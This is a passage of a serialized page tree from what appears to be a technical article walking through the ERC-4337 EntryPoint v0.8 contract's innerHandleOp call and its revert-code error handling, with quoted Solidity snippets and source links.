",{"type":23,"tag":213,"props":104951,"children":104952},{"style":274},[104953],{"type":28,"value":3190},{"type":23,"tag":213,"props":104955,"children":104956},{"style":230},[104957],{"type":28,"value":103730},{"type":23,"tag":213,"props":104959,"children":104960},{"style":220},[104961],{"type":28,"value":124},{"type":23,"tag":213,"props":104963,"children":104964},{"style":257},[104965],{"type":28,"value":104936},{"type":23,"tag":213,"props":104967,"children":104968},{"style":220},[104969],{"type":28,"value":265},{"type":23,"tag":213,"props":104971,"children":104972},{"style":230},[104973],{"type":28,"value":17743},{"type":23,"tag":213,"props":104975,"children":104976},{"style":220},[104977],{"type":28,"value":104978},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":213,"props":104980,"children":104981},{"class":215,"line":1838},[104982,104986],{"type":23,"tag":213,"props":104983,"children":104984},{"style":220},[104985],{"type":28,"value":70647},{"type":23,"tag":213,"props":104987,"children":104988},{"style":1362},[104989],{"type":28,"value":104990},"else\n",{"type":23,"tag":213,"props":104992,"children":104993},{"class":215,"line":1851},[104994],{"type":23,"tag":213,"props":104995,"children":104996},{"style":220},[104997],{"type":28,"value":31751},{"type":23,"tag":213,"props":104999,"children":105000},{"class":215,"line":1864},[105001,105005,105009,105013,105017,105021,105025,105029],{"type":23,"tag":213,"props":105002,"children":105003},{"style":220},[105004],{"type":28,"value":104949},{"type":23,"tag":213,"props":105006,"children":105007},{"style":274},[105008],{"type":28,"value":3190},{"type":23,"tag":213,"props":105010,"children":105011},{"style":230},[105012],{"type":28,"value":103730},{"type":23,"tag":213,"props":105014,"children":105015},{"style":220},[105016],{"type":28,"value":124},{"type":23,"tag":213,"props":105018,"children":105019},{"style":257},[105020],{"type":28,"value":104936},{"type":23,"tag":213,"props":105022,"children":105023},{"style":220},[105024],{"type":28,"value":265},{"type":23,"tag":213,"props":105026,"children":105027},{"style":230},[105028],{"type":28,"value":17743},{"type":23,"tag":213,"props":105030,"children":105031},{"style":220},[105032],{"type":28,"value":105033},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":213,"props":105035,"children":105036},{"class":215,"line":1890},[105037],{"type":23,"tag":213,"props":105038,"children":105039},{"style":220},[105040],{"type":28,"value":58938},{"type":23,"tag":213,"props":105042,"children":105043},{"class":215,"line":1899},[105044,105049,105053,105058],{"type":23,"tag":213,"props":105045,"children":105046},{"style":257},[105047],{"type":28,"value":105048}," assembly",{"type":23,"tag":213,"props":105050,"children":105051},{"style":220},[105052],{"type":28,"value":400},{"type":23,"tag":213,"props":105054,"children":105055},{"style":246},[105056],{"type":28,"value":105057},"\"memory-safe\"",{"type":23,"tag":213,"props":105059,"children":105060},{"style":220},[105061],{"type":28,"value":14870},{"type":23,"tag":213,"props":105063,"children":105064},{"class":215,"line":1912},[105065,105070,105074,105078,105082,105087,105091,105095,105099,105103,105107,105111,105116,105121,105125,105130,105135,105139,105143,105147],{"type":23,"tag":213,"props":105066,"children":105067},{"style":220},[105068],{"type":28,"value":105069}," success ",{"type":23,"tag":213,"props":105071,"children":105072},{"style":274},[105073],{"type":28,"value":21656},{"type":23,"tag":213,"props":105075,"children":105076},{"style":257},[105077],{"type":28,"value":41019},{"type":23,"tag":213,"props":105079,"children":105080},{"style":220},[105081],{"type":28,"value":265},{"type":23,"tag":213,"props":105083,"children":105084},{"style":257},[105085],{"type":28,"value":105086},"gas",{"type":23,"tag":213,"props":105088,"children":105089},{"style":220},[105090],{"type":28,"value":18426},{"type":23,"tag":213,"props":105092,"children":105093},{"style":290},[105094],{"type":28,"value":32696},{"type":23,"tag":213,"props":105096,"children":105097},{"style":220},[105098],{"type":28,"value":18426},{"type":23,"tag":213,"props":105100,"children":105101},{"style":514},[105102],{"type":28,"value":4116},{"type":23,"tag":213,"props":105104,"children":105105},{"style":220},[105106],{"type":28,"value":424},{"type":23,"tag":213,"props":105108,"children":105109},{"style":257},[105110],{"type":28,"value":605},{"type":23,"tag":213,"props":105112,"children":105113},{"style":220},[105114],{"type":28,"value":105115},"(innerCall, ",{"type":23,"tag":213,"props":105117,"children":105118},{"style":514},[105119],{"type":28,"value":105120},"0x20",{"type":23,"tag":213,"props":105122,"children":105123},{"style":220},[105124],{"type":28,"value":15236},{"type":23,"tag":213,"props":105126,"children":105127},{"style":257},[105128],{"type":28,"value":105129},"mload",{"type":23,"tag":213,"props":105131,"children":105132},{"style":220},[105133],{"type":28,"value":105134},"(innerCall), ",{"type":23,"tag":213,"props":105136,"children":105137},{"style":514},[105138],{"type":28,"value":4116},{"type":23,"tag":213,"props":105140,"children":105141},{"style":220},[105142],{"type":28,"value":424},{"type":23,"tag":213,"props":105144,"children":105145},{"style":514},[105146],{"type":28,"value":60400},{"type":23,"tag":213,"props":105148,"children":105149},{"style":220},[105150],{"type":28,"value":2183},{"type":23,"tag":213,"props":105152,"children":105153},{"class":215,"line":1921},[105154,105159,105163,105168,105172,105176],{"type":23,"tag":213,"props":105155,"children":105156},{"style":220},[105157],{"type":28,"value":105158}," collected ",{"type":23,"tag":213,"props":105160,"children":105161},{"style":274},[105162],{"type":28,"value":21656},{"type":23,"tag":213,"props":105164,"children":105165},{"style":257},[105166],{"type":28,"value":105167}," mload",{"type":23,"tag":213,"props":105169,"children":105170},{"style":220},[105171],{"type":28,"value":265},{"type":23,"tag":213,"props":105173,"children":105174},{"style":514},[105175],{"type":28,"value":4116},{"type":23,"tag":213,"props":105177,"children":105178},{"style":220},[105179],{"type":28,"value":2183},{"type":23,"tag":213,"props":105181,"children":105182},{"class":215,"line":3879},[105183],{"type":23,"tag":213,"props":105184,"children":105185},{"style":220},[105186],{"type":28,"value":58938},{"type":23,"tag":213,"props":105188,"children":105189},{"class":215,"line":3887},[105190,105195],{"type":23,"tag":213,"props":105191,"children":105192},{"style":257},[105193],{"type":28,"value":105194}," _restoreFreePtr",{"type":23,"tag":213,"props":105196,"children":105197},{"style":220},[105198],{"type":28,"value":105199},"(saveFreePtr);\n",{"type":23,"tag":213,"props":105201,"children":105202},{"class":215,"line":3918},[105203],{"type":23,"tag":213,"props":105204,"children":105205},{"style":220},[105206],{"type":28,"value":3444},{"type":23,"tag":213,"props":105208,"children":105209},{"class":215,"line":3926},[105210,105214,105218,105222],{"type":23,"tag":213,"props":105211,"children":105212},{"style":1362},[105213],{"type":28,"value":3369},{"type":23,"tag":213,"props":105215,"children":105216},{"style":220},[105217],{"type":28,"value":400},{"type":23,"tag":213,"props":105219,"children":105220},{"style":274},[105221],{"type":28,"value":20675},{"type":23,"tag":213,"props":105223,"children":105224},{"style":220},[105225],{"type":28,"value":105226},"success) {\n",{"type":23,"tag":213,"props":105228,"children":105229},{"class":215,"line":3986},[105230],{"type":23,"tag":213,"props":105231,"children":105232},{"style":220},[105233],{"type":28,"value":104854},{"type":23,"tag":213,"props":105235,"children":105236},{"class":215,"line":9132},[105237,105241,105246,105250],{"type":23,"tag":213,"props":105238,"children":105239},{"style":1362},[105240],{"type":28,"value":58854},{"type":23,"tag":213,"props":105242,"children":105243},{"style":220},[105244],{"type":28,"value":105245}," (innerRevertCode ",{"type":23,"tag":213,"props":105247,"children":105248},{"style":274},[105249],{"type":28,"value":8660},{"type":23,"tag":213,"props":105251,"children":105252},{"style":220},[105253],{"type":28,"value":105254}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":213,"props":105256,"children":105257},{"class":215,"line":9150},[105258],{"type":23,"tag":213,"props":105259,"children":105260},{"style":537},[105261],{"type":28,"value":105262}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":213,"props":105264,"children":105265},{"class":215,"line":9195},[105266],{"type":23,"tag":213,"props":105267,"children":105268},{"style":537},[105269],{"type":28,"value":105270}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":213,"props":105272,"children":105273},{"class":215,"line":9301},[105274,105279,105284,105289,105294],{"type":23,"tag":213,"props":105275,"children":105276},{"style":1362},[105277],{"type":28,"value":105278}," revert",{"type":23,"tag":213,"props":105280,"children":105281},{"style":257},[105282],{"type":28,"value":105283}," FailedOp",{"type":23,"tag":213,"props":105285,"children":105286},{"style":220},[105287],{"type":28,"value":105288},"(opIndex, ",{"type":23,"tag":213,"props":105290,"children":105291},{"style":246},[105292],{"type":28,"value":105293},"\"AA95 out of gas\"",{"type":23,"tag":213,"props":105295,"children":105296},{"style":220},[105297],{"type":28,"value":2867},{"type":23,"tag":213,"props":105299,"children":105300},{"class":215,"line":23557},[105301,105305,105309,105313,105317,105321],{"type":23,"tag":213,"props":105302,"children":105303},{"style":220},[105304],{"type":28,"value":70647},{"type":23,"tag":213,"props":105306,"children":105307},{"style":1362},[105308],{"type":28,"value":3412},{"type":23,"tag":213,"props":105310,"children":105311},{"style":1362},[105312],{"type":28,"value":15839},{"type":23,"tag":213,"props":105314,"children":105315},{"style":220},[105316],{"type":28,"value":105245},{"type":23,"tag":213,"props":105318,"children":105319},{"style":274},[105320],{"type":28,"value":8660},{"type":23,"tag":213,"props":105322,"children":105323},{"style":220},[105324],{"type":28,"value":105325}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":213,"props":105327,"children":105328},{"class":215,"line":23592},[105329],{"type":23,"tag":213,"props":105330,"children":105331},{"style":537},[105332],{"type":28,"value":105333}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":213,"props":105335,"children":105336},{"class":215,"line":23600},[105337,105341,105346,105350,105355,105359,105364,105368,105372],{"type":23,"tag":213,"props":105338,"children":105339},{"style":290},[105340],{"type":28,"value":103513},{"type":23,"tag":213,"props":105342,"children":105343},{"style":220},[105344],{"type":28,"value":105345}," actualGas ",{"type":23,"tag":213,"props":105347,"children":105348},{"style":274},[105349],{"type":28,"value":3190},{"type":23,"tag":213,"props":105351,"children":105352},{"style":220},[105353],{"type":28,"value":105354}," preGas ",{"type":23,"tag":213,"props":105356,"children":105357},{"style":274},[105358],{"type":28,"value":4423},{"type":23,"tag":213,"props":105360,"children":105361},{"style":230},[105362],{"type":28,"value":105363}," gasleft",{"type":23,"tag":213,"props":105365,"children":105366},{"style":220},[105367],{"type":28,"value":2698},{"type":23,"tag":213,"props":105369,"children":105370},{"style":274},[105371],{"type":28,"value":2703},{"type":23,"tag":213,"props":105373,"children":105374},{"style":220},[105375],{"type":28,"value":105376}," opInfo.preOpGas;\n",{"type":23,"tag":213,"props":105378,"children":105379},{"class":215,"line":23608},[105380,105384,105388,105392],{"type":23,"tag":213,"props":105381,"children":105382},{"style":290},[105383],{"type":28,"value":103513},{"type":23,"tag":213,"props":105385,"children":105386},{"style":220},[105387],{"type":28,"value":104160},{"type":23,"tag":213,"props":105389,"children":105390},{"style":274},[105391],{"type":28,"value":3190},{"type":23,"tag":213,"props":105393,"children":105394},{"style":220},[105395],{"type":28,"value":105396}," opInfo.prefund;\n",{"type":23,"tag":213,"props":105398,"children":105399},{"class":215,"line":23617},[105400,105405],{"type":23,"tag":213,"props":105401,"children":105402},{"style":257},[105403],{"type":28,"value":105404}," _emitPrefundTooLow",{"type":23,"tag":213,"props":105406,"children":105407},{"style":220},[105408],{"type":28,"value":105409},"(opInfo);\n",{"type":23,"tag":213,"props":105411,"children":105412},{"class":215,"line":23659},[105413,105418,105423,105427],{"type":23,"tag":213,"props":105414,"children":105415},{"style":257},[105416],{"type":28,"value":105417}," _emitUserOperationEvent",{"type":23,"tag":213,"props":105419,"children":105420},{"style":220},[105421],{"type":28,"value":105422},"(opInfo, ",{"type":23,"tag":213,"props":105424,"children":105425},{"style":230},[105426],{"type":28,"value":2499},{"type":23,"tag":213,"props":105428,"children":105429},{"style":220},[105430],{"type":28,"value":105431},", actualGasCost, actualGas);\n",{"type":23,"tag":213,"props":105433,"children":105434},{"class":215,"line":23692},[105435,105439,105443],{"type":23,"tag":213,"props":105436,"children":105437},{"style":220},[105438],{"type":28,"value":105158},{"type":23,"tag":213,"props":105440,"children":105441},{"style":274},[105442],{"type":28,"value":3190},{"type":23,"tag":213,"props":105444,"children":105445},{"style":220},[105446],{"type":28,"value":105447}," actualGasCost;\n",{"type":23,"tag":213,"props":105449,"children":105450},{"class":215,"line":23700},[105451,105455,105459],{"type":23,"tag":213,"props":105452,"children":105453},{"style":220},[105454],{"type":28,"value":70647},{"type":23,"tag":213,"props":105456,"children":105457},{"style":1362},[105458],{"type":28,"value":3412},{"type":23,"tag":213,"props":105460,"children":105461},{"style":220},[105462],{"type":28,"value":1375},{"type":23,"tag":213,"props":105464,"children":105465},{"class":215,"line":23708},[105466],{"type":23,"tag":213,"props":105467,"children":105468},{"style":220},[105469],{"type":28,"value":104854},{"type":23,"tag":213,"props":105471,"children":105472},{"class":215,"line":23717},[105473,105477,105481,105486],{"type":23,"tag":213,"props":105474,"children":105475},{"style":220},[105476],{"type":28,"value":105158},{"type":23,"tag":213,"props":105478,"children":105479},{"style":274},[105480],{"type":28,"value":3190},{"type":23,"tag":213,"props":105482,"children":105483},{"style":257},[105484],{"type":28,"value":105485}," _postExecution",{"type":23,"tag":213,"props":105487,"children":105488},{"style":220},[105489],{"type":28,"value":1511},{"type":23,"tag":213,"props":105491,"children":105492},{"class":215,"line":23793},[105493],{"type":23,"tag":213,"props":105494,"children":105495},{"style":220},[105496],{"type":28,"value":105497}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":213,"props":105499,"children":105500},{"class":215,"line":23826},[105501],{"type":23,"tag":213,"props":105502,"children":105503},{"style":220},[105504],{"type":28,"value":105505}," opInfo,\n",{"type":23,"tag":213,"props":105507,"children":105508},{"class":215,"line":23834},[105509],{"type":23,"tag":213,"props":105510,"children":105511},{"style":220},[105512],{"type":28,"value":105513}," context,\n",{"type":23,"tag":213,"props":105515,"children":105516},{"class":215,"line":23842},[105517],{"type":23,"tag":213,"props":105518,"children":105519},{"style":220},[105520],{"type":28,"value":105521}," actualGas\n",{"type":23,"tag":213,"props":105523,"children":105524},{"class":215,"line":23879},[105525],{"type":23,"tag":213,"props":105526,"children":105527},{"style":220},[105528],{"type":28,"value":105529}," );\n",{"type":23,"tag":213,"props":105531,"children":105532},{"class":215,"line":23892},[105533],{"type":23,"tag":213,"props":105534,"children":105535},{"style":220},[105536],{"type":28,"value":58938},{"type":23,"tag":213,"props":105538,"children":105539},{"class":215,"line":23905},[105540],{"type":23,"tag":213,"props":105541,"children":105542},{"style":220},[105543],{"type":28,"value":3444},{"type":23,"tag":213,"props":105545,"children":105546},{"class":215,"line":23918},[105547],{"type":23,"tag":213,"props":105548,"children":105549},{"style":220},[105550],{"type":28,"value":2875},{"type":23,"tag":24,"props":105552,"children":105553},{},[105554,105556,105561,105563,105569,105571,105577,105579,105585],{"type":28,"value":105555},"During execution, the ",{"type":23,"tag":209,"props":105557,"children":105559},{"className":105558},[],[105560],{"type":28,"value":102316},{"type":28,"value":105562}," contract makes a ",{"type":23,"tag":36,"props":105564,"children":105567},{"href":105565,"rel":105566},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[40],[105568],{"type":28,"value":38353},{"type":28,"value":105570}," to its own ",{"type":23,"tag":209,"props":105572,"children":105574},{"className":105573},[],[105575],{"type":28,"value":105576},"innerHandleOp",{"type":28,"value":105578}," function through a low-level ",{"type":23,"tag":209,"props":105580,"children":105582},{"className":105581},[],[105583],{"type":28,"value":105584},"call()",{"type":28,"value":105586},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":105588,"children":105589},{},[105590,105592,105598,105599,105604,105606,105613,105615,105621],{"type":28,"value":105591},"If this call fails (when ",{"type":23,"tag":209,"props":105593,"children":105595},{"className":105594},[],[105596],{"type":28,"value":105597},"success",{"type":28,"value":5594},{"type":23,"tag":209,"props":105600,"children":105602},{"className":105601},[],[105603],{"type":28,"value":2499},{"type":28,"value":105605},"), the code enters an ",{"type":23,"tag":36,"props":105607,"children":105610},{"href":105608,"rel":105609},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[40],[105611],{"type":28,"value":105612},"error handling",{"type":28,"value":105614}," flow that checks the ",{"type":23,"tag":209,"props":105616,"children":105618},{"className":105617},[],[105619],{"type":28,"value":105620},"innerRevertCode",{"type":28,"value":105622},". There are three possible paths:",{"type":23,"tag":131,"props":105624,"children":105625},{},[105626,105650,105668],{"type":23,"tag":135,"props":105627,"children":105628},{},[105629,105630,105635,105636,105642,105644,105649],{"type":28,"value":7569},{"type":23,"tag":209,"props":105631,"children":105633},{"className":105632},[],[105634],{"type":28,"value":105620},{"type":28,"value":5594},{"type":23,"tag":209,"props":105637,"children":105639},{"className":105638},[],[105640],{"type":28,"value":105641},"INNER_OUT_OF_GAS",{"type":28,"value":105643},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":209,"props":105645,"children":105647},{"className":105646},[],[105648],{"type":28,"value":105293},{"type":28,"value":124},{"type":23,"tag":135,"props":105651,"children":105652},{},[105653,105654,105659,105660,105666],{"type":28,"value":7569},{"type":23,"tag":209,"props":105655,"children":105657},{"className":105656},[],[105658],{"type":28,"value":105620},{"type":28,"value":5594},{"type":23,"tag":209,"props":105661,"children":105663},{"className":105662},[],[105664],{"type":28,"value":105665},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":105667},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":135,"props":105669,"children":105670},{},[105671,105673,105679,105681,105687],{"type":28,"value":105672},"For any other revert reason, the code will still call ",{"type":23,"tag":209,"props":105674,"children":105676},{"className":105675},[],[105677],{"type":28,"value":105678},"_postExecution()",{"type":28,"value":105680}," but with ",{"type":23,"tag":209,"props":105682,"children":105684},{"className":105683},[],[105685],{"type":28,"value":105686},"PostOpMode.postOpReverted",{"type":28,"value":105688},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":105690,"children":105691},{},[105692,105694,105699,105701,105706,105708,105713,105715,105720],{"type":28,"value":105693},"We're particularly interested in the third error path, where ",{"type":23,"tag":209,"props":105695,"children":105697},{"className":105696},[],[105698],{"type":28,"value":105620},{"type":28,"value":105700}," is neither ",{"type":23,"tag":209,"props":105702,"children":105704},{"className":105703},[],[105705],{"type":28,"value":105641},{"type":28,"value":105707}," nor ",{"type":23,"tag":209,"props":105709,"children":105711},{"className":105710},[],[105712],{"type":28,"value":105665},{"type":28,"value":105714},". To understand this case better, let's examine how ",{"type":23,"tag":209,"props":105716,"children":105718},{"className":105717},[],[105719],{"type":28,"value":105576},{"type":28,"value":105721}," works.",{"type":23,"tag":202,"props":105723,"children":105725},{"className":4570,"code":105724,"language":4569,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[105726],{"type":23,"tag":209,"props":105727,"children":105728},{"__ignoreMap":7},[105729,105745,105766,105786,105802,105835,105842,105859,105883,105923,105942,105967,106001,106025,106042,106050,106058,106066,106074,106082,106089,106102,106119,106126,106133,106140,106151,106190,106206,106213],{"type":23,"tag":213,"props":105730,"children":105731},{"class":215,"line":216},[105732,105736,105741],{"type":23,"tag":213,"props":105733,"children":105734},{"style":230},[105735],{"type":28,"value":89884},{"type":23,"tag":213,"props":105737,"children":105738},{"style":257},[105739],{"type":28,"value":105740}," innerHandleOp",{"type":23,"tag":213,"props":105742,"children":105743},{"style":220},[105744],{"type":28,"value":1511},{"type":23,"tag":213,"props":105746,"children":105747},{"class":215,"line":226},[105748,105753,105757,105762],{"type":23,"tag":213,"props":105749,"children":105750},{"style":290},[105751],{"type":28,"value":105752}," bytes",{"type":23,"tag":213,"props":105754,"children":105755},{"style":230},[105756],{"type":28,"value":103133},{"type":23,"tag":213,"props":105758,"children":105759},{"style":268},[105760],{"type":28,"value":105761}," callData",{"type":23,"tag":213,"props":105763,"children":105764},{"style":220},[105765],{"type":28,"value":944},{"type":23,"tag":213,"props":105767,"children":105768},{"class":215,"line":524},[105769,105773,105777,105782],{"type":23,"tag":213,"props":105770,"children":105771},{"style":230},[105772],{"type":28,"value":104793},{"type":23,"tag":213,"props":105774,"children":105775},{"style":230},[105776],{"type":28,"value":103133},{"type":23,"tag":213,"props":105778,"children":105779},{"style":268},[105780],{"type":28,"value":105781}," opInfo",{"type":23,"tag":213,"props":105783,"children":105784},{"style":220},[105785],{"type":28,"value":944},{"type":23,"tag":213,"props":105787,"children":105788},{"class":215,"line":533},[105789,105793,105797],{"type":23,"tag":213,"props":105790,"children":105791},{"style":290},[105792],{"type":28,"value":105752},{"type":23,"tag":213,"props":105794,"children":105795},{"style":230},[105796],{"type":28,"value":103065},{"type":23,"tag":213,"props":105798,"children":105799},{"style":268},[105800],{"type":28,"value":105801}," context\n",{"type":23,"tag":213,"props":105803,"children":105804},{"class":215,"line":543},[105805,105810,105815,105819,105823,105827,105831],{"type":23,"tag":213,"props":105806,"children":105807},{"style":220},[105808],{"type":28,"value":105809}," ) ",{"type":23,"tag":213,"props":105811,"children":105812},{"style":230},[105813],{"type":28,"value":105814},"external",{"type":23,"tag":213,"props":105816,"children":105817},{"style":1362},[105818],{"type":28,"value":76046},{"type":23,"tag":213,"props":105820,"children":105821},{"style":220},[105822],{"type":28,"value":400},{"type":23,"tag":213,"props":105824,"children":105825},{"style":290},[105826],{"type":28,"value":46219},{"type":23,"tag":213,"props":105828,"children":105829},{"style":268},[105830],{"type":28,"value":103874},{"type":23,"tag":213,"props":105832,"children":105833},{"style":220},[105834],{"type":28,"value":14870},{"type":23,"tag":213,"props":105836,"children":105837},{"class":215,"line":551},[105838],{"type":23,"tag":213,"props":105839,"children":105840},{"style":220},[105841],{"type":28,"value":104854},{"type":23,"tag":213,"props":105843,"children":105844},{"class":215,"line":570},[105845,105850,105854],{"type":23,"tag":213,"props":105846,"children":105847},{"style":220},[105848],{"type":28,"value":105849}," IPaymaster.PostOpMode mode ",{"type":23,"tag":213,"props":105851,"children":105852},{"style":274},[105853],{"type":28,"value":3190},{"type":23,"tag":213,"props":105855,"children":105856},{"style":220},[105857],{"type":28,"value":105858}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":213,"props":105860,"children":105861},{"class":215,"line":655},[105862,105866,105871,105875,105879],{"type":23,"tag":213,"props":105863,"children":105864},{"style":1362},[105865],{"type":28,"value":3369},{"type":23,"tag":213,"props":105867,"children":105868},{"style":220},[105869],{"type":28,"value":105870}," (callData.length ",{"type":23,"tag":213,"props":105872,"children":105873},{"style":274},[105874],{"type":28,"value":10545},{"type":23,"tag":213,"props":105876,"children":105877},{"style":514},[105878],{"type":28,"value":517},{"type":23,"tag":213,"props":105880,"children":105881},{"style":220},[105882],{"type":28,"value":14870},{"type":23,"tag":213,"props":105884,"children":105885},{"class":215,"line":1176},[105886,105891,105896,105900,105905,105909,105914,105918],{"type":23,"tag":213,"props":105887,"children":105888},{"style":290},[105889],{"type":28,"value":105890}," bool",{"type":23,"tag":213,"props":105892,"children":105893},{"style":220},[105894],{"type":28,"value":105895}," success ",{"type":23,"tag":213,"props":105897,"children":105898},{"style":274},[105899],{"type":28,"value":3190},{"type":23,"tag":213,"props":105901,"children":105902},{"style":220},[105903],{"type":28,"value":105904}," Exec.",{"type":23,"tag":213,"props":105906,"children":105907},{"style":257},[105908],{"type":28,"value":38353},{"type":23,"tag":213,"props":105910,"children":105911},{"style":220},[105912],{"type":28,"value":105913},"(mUserOp.sender, ",{"type":23,"tag":213,"props":105915,"children":105916},{"style":514},[105917],{"type":28,"value":4116},{"type":23,"tag":213,"props":105919,"children":105920},{"style":220},[105921],{"type":28,"value":105922},", callData, callGasLimit);\n",{"type":23,"tag":213,"props":105924,"children":105925},{"class":215,"line":1202},[105926,105930,105934,105938],{"type":23,"tag":213,"props":105927,"children":105928},{"style":1362},[105929],{"type":28,"value":58854},{"type":23,"tag":213,"props":105931,"children":105932},{"style":220},[105933],{"type":28,"value":400},{"type":23,"tag":213,"props":105935,"children":105936},{"style":274},[105937],{"type":28,"value":20675},{"type":23,"tag":213,"props":105939,"children":105940},{"style":220},[105941],{"type":28,"value":105226},{"type":23,"tag":213,"props":105943,"children":105944},{"class":215,"line":1758},[105945,105949,105954,105958,105963],{"type":23,"tag":213,"props":105946,"children":105947},{"style":290},[105948],{"type":28,"value":103513},{"type":23,"tag":213,"props":105950,"children":105951},{"style":220},[105952],{"type":28,"value":105953}," freePtr ",{"type":23,"tag":213,"props":105955,"children":105956},{"style":274},[105957],{"type":28,"value":3190},{"type":23,"tag":213,"props":105959,"children":105960},{"style":257},[105961],{"type":28,"value":105962}," _getFreePtr",{"type":23,"tag":213,"props":105964,"children":105965},{"style":220},[105966],{"type":28,"value":3759},{"type":23,"tag":213,"props":105968,"children":105969},{"class":215,"line":1767},[105970,105974,105978,105983,105987,105991,105996],{"type":23,"tag":213,"props":105971,"children":105972},{"style":290},[105973],{"type":28,"value":104910},{"type":23,"tag":213,"props":105975,"children":105976},{"style":230},[105977],{"type":28,"value":103133},{"type":23,"tag":213,"props":105979,"children":105980},{"style":220},[105981],{"type":28,"value":105982}," result ",{"type":23,"tag":213,"props":105984,"children":105985},{"style":274},[105986],{"type":28,"value":3190},{"type":23,"tag":213,"props":105988,"children":105989},{"style":220},[105990],{"type":28,"value":105904},{"type":23,"tag":213,"props":105992,"children":105993},{"style":257},[105994],{"type":28,"value":105995},"getReturnData",{"type":23,"tag":213,"props":105997,"children":105998},{"style":220},[105999],{"type":28,"value":106000},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":213,"props":106002,"children":106003},{"class":215,"line":1789},[106004,106008,106013,106017,106021],{"type":23,"tag":213,"props":106005,"children":106006},{"style":1362},[106007],{"type":28,"value":103573},{"type":23,"tag":213,"props":106009,"children":106010},{"style":220},[106011],{"type":28,"value":106012}," (result.length ",{"type":23,"tag":213,"props":106014,"children":106015},{"style":274},[106016],{"type":28,"value":10545},{"type":23,"tag":213,"props":106018,"children":106019},{"style":514},[106020],{"type":28,"value":517},{"type":23,"tag":213,"props":106022,"children":106023},{"style":220},[106024],{"type":28,"value":14870},{"type":23,"tag":213,"props":106026,"children":106027},{"class":215,"line":1812},[106028,106033,106038],{"type":23,"tag":213,"props":106029,"children":106030},{"style":1362},[106031],{"type":28,"value":106032}," emit",{"type":23,"tag":213,"props":106034,"children":106035},{"style":257},[106036],{"type":28,"value":106037}," UserOperationRevertReason",{"type":23,"tag":213,"props":106039,"children":106040},{"style":220},[106041],{"type":28,"value":1511},{"type":23,"tag":213,"props":106043,"children":106044},{"class":215,"line":1838},[106045],{"type":23,"tag":213,"props":106046,"children":106047},{"style":220},[106048],{"type":28,"value":106049}," opInfo.userOpHash,\n",{"type":23,"tag":213,"props":106051,"children":106052},{"class":215,"line":1851},[106053],{"type":23,"tag":213,"props":106054,"children":106055},{"style":220},[106056],{"type":28,"value":106057}," mUserOp.sender,\n",{"type":23,"tag":213,"props":106059,"children":106060},{"class":215,"line":1864},[106061],{"type":23,"tag":213,"props":106062,"children":106063},{"style":220},[106064],{"type":28,"value":106065}," mUserOp.nonce,\n",{"type":23,"tag":213,"props":106067,"children":106068},{"class":215,"line":1890},[106069],{"type":23,"tag":213,"props":106070,"children":106071},{"style":220},[106072],{"type":28,"value":106073}," result\n",{"type":23,"tag":213,"props":106075,"children":106076},{"class":215,"line":1899},[106077],{"type":23,"tag":213,"props":106078,"children":106079},{"style":220},[106080],{"type":28,"value":106081}," );\n",{"type":23,"tag":213,"props":106083,"children":106084},{"class":215,"line":1912},[106085],{"type":23,"tag":213,"props":106086,"children":106087},{"style":220},[106088],{"type":28,"value":71124},{"type":23,"tag":213,"props":106090,"children":106091},{"class":215,"line":1921},[106092,106097],{"type":23,"tag":213,"props":106093,"children":106094},{"style":257},[106095],{"type":28,"value":106096}," _restoreFreePtr",{"type":23,"tag":213,"props":106098,"children":106099},{"style":220},[106100],{"type":28,"value":106101},"(freePtr);\n",{"type":23,"tag":213,"props":106103,"children":106104},{"class":215,"line":3879},[106105,106110,106114],{"type":23,"tag":213,"props":106106,"children":106107},{"style":220},[106108],{"type":28,"value":106109}," mode ",{"type":23,"tag":213,"props":106111,"children":106112},{"style":274},[106113],{"type":28,"value":3190},{"type":23,"tag":213,"props":106115,"children":106116},{"style":220},[106117],{"type":28,"value":106118}," 